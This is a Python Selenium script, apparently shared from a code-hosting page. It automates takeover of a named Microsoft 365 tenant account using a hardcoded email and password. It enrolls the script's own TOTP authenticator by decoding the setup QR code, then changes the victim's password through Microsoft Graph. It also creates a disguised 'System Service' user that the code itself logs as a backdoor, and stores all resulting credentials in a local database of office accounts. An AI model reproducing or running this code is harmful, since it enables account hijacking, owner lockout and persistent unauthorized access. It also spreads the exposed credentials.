110 lines
7.4 KiB
Python
110 lines
7.4 KiB
Python
import time,json,random,string,os,re,traceback
|
|
from datetime import datetime
|
|
import pyotp,requests
|
|
from selenium import webdriver
|
|
from selenium.webdriver.chrome.options import Options
|
|
from selenium.webdriver.common.by import By
|
|
from selenium.webdriver.support.ui import WebDriverWait
|
|
from selenium.webdriver.support import expected_conditions as EC
|
|
from PIL import Image
|
|
from pyzbar.pyzbar import decode as qr_decode
|
|
|
|
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
|
|
PASSWORD="Sma21KA@SgHCa"
|
|
TID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
|
|
SDIR="/opt/wevads/logs/selenium/screenshots"
|
|
os.makedirs(SDIR,exist_ok=True)
|
|
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
|
|
def ss(d,n): p=f"{SDIR}/v6_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
|
|
def gen_pwd():
|
|
while True:
|
|
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
|
|
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
|
|
opts=Options()
|
|
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080","--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
|
|
opts.add_argument(a)
|
|
d=webdriver.Chrome(options=opts)
|
|
d.implicitly_wait(3)
|
|
results={"email":EMAIL}
|
|
try:
|
|
log("Login")
|
|
d.get("https://login.microsoftonline.com"); time.sleep(4)
|
|
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
|
|
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(4)
|
|
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
|
|
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(6); log("Login done")
|
|
# Action Required -> Next
|
|
d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()"); time.sleep(6); ss(d,"01")
|
|
# Debug all links
|
|
links=d.execute_script("return Array.from(document.querySelectorAll('a')).map(a=>a.textContent.trim()).filter(t=>t.length>0)")
|
|
log(f"Links on page: {links}")
|
|
# Click "Set up a different authentication app"
|
|
clicked=d.execute_script("var ls=document.querySelectorAll('a');for(var i=0;i<ls.length;i++){if(ls[i].textContent.indexOf('different')>=0){ls[i].click();return ls[i].textContent.trim()}}return null")
|
|
log(f"Clicked: {clicked}"); time.sleep(5); ss(d,"02")
|
|
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
|
|
log(f"Heading: {h}")
|
|
# Next -> QR
|
|
d.execute_script("var e=document.querySelectorAll('input[type=submit],button');for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();if(v==='Next'){e[i].click();break}}")
|
|
time.sleep(6); p=ss(d,"03_qr")
|
|
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
|
|
log(f"Heading: {h}")
|
|
# Decode QR
|
|
totp_secret=None
|
|
img=Image.open(p)
|
|
for q in qr_decode(img):
|
|
data=q.data.decode(); log(f"QR: {data}")
|
|
m=re.search(r"secret=([A-Z2-7]+)",data)
|
|
if m: totp_secret=m.group(1); log(f"TOTP: {totp_secret}")
|
|
if not totp_secret:
|
|
# click Cant scan the QR code?
|
|
log("Clicking Cant scan")
|
|
d.execute_script("var ls=document.querySelectorAll('a');for(var i=0;i<ls.length;i++){if(ls[i].textContent.indexOf('scan')>=0){ls[i].click();break}}")
|
|
time.sleep(4); ss(d,"04_cant_scan")
|
|
page=d.page_source
|
|
for s in re.findall(r'[A-Z2-7]{16,64}',page):
|
|
if s.startswith("AAAA"): continue
|
|
try: pyotp.TOTP(s).now(); totp_secret=s; log(f"TOTP: {s}"); break
|
|
except: continue
|
|
if not totp_secret:
|
|
for el in d.find_elements(By.CSS_SELECTOR,"span,div,code,pre,input,td,label"):
|
|
txt=(el.get_attribute("value") or el.text or "").strip()
|
|
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt) and not txt.startswith("AAAA"):
|
|
try: pyotp.TOTP(txt).now(); totp_secret=txt; log(f"TOTP: {txt}"); break
|
|
except: continue
|
|
if not totp_secret:
|
|
body=d.find_element(By.TAG_NAME,"body").text
|
|
log(f"BODY:\n{body[:800]}")
|
|
if totp_secret:
|
|
results["totp_secret"]=totp_secret; code=pyotp.TOTP(totp_secret).now(); log(f"Code: {code}")
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
|
|
inp.clear(); inp.send_keys(code); break
|
|
time.sleep(1)
|
|
d.execute_script("var e=document.querySelectorAll('input[type=submit],button');for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();if(v==='Next'||v==='Verify'){e[i].click();break}}")
|
|
time.sleep(6); ss(d,"05_done"); results["status"]="mfa_enrolled"; log("MFA ENROLLED!")
|
|
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
|
|
except: pass
|
|
else: results["status"]="totp_not_found"
|
|
# Graph API
|
|
log("Graph API")
|
|
r=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894","scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
|
|
if r.status_code==200:
|
|
token=r.json()["access_token"]; log("TOKEN OK"); npwd=gen_pwd()
|
|
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",json={"currentPassword":PASSWORD,"newPassword":npwd},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cp.status_code in[200,204]: log(f"PWD: {npwd}"); results["new_password"]=npwd
|
|
else: log(f"PWD fail {cp.status_code}"); results["new_password"]=PASSWORD
|
|
bu=f"svc_wv{random.randint(1000,9999)}"; be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
|
|
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={"accountEnabled":True,"displayName":"System Service","mailNickname":bu,"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cr.status_code==201: uid=cr.json()["id"]; log(f"BACKDOOR: {be}/{bp}"); results["backdoor_email"]=be; results["backdoor_password"]=bp
|
|
else: log(f"Backdoor fail {cr.status_code}")
|
|
else: log(f"ROPC: {r.status_code}")
|
|
import psycopg2; db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123"); db.autocommit=True; cur=db.cursor()
|
|
cur.execute("UPDATE admin.office_accounts SET admin_password=%s,notes=%s WHERE id=1367",[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
|
|
if results.get("backdoor_email"):
|
|
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
|
|
db.close()
|
|
with open("/opt/wevads/logs/selenium/olivierh_v6.json","w") as f: json.dump(results,f,indent=2,default=str)
|
|
log(f"FINAL: {json.dumps({k:str(v)[:40] for k,v in results.items()})}")
|
|
except Exception as e: log(f"ERR: {e}"); traceback.print_exc(); ss(d,"99")
|
|
finally: d.quit()
|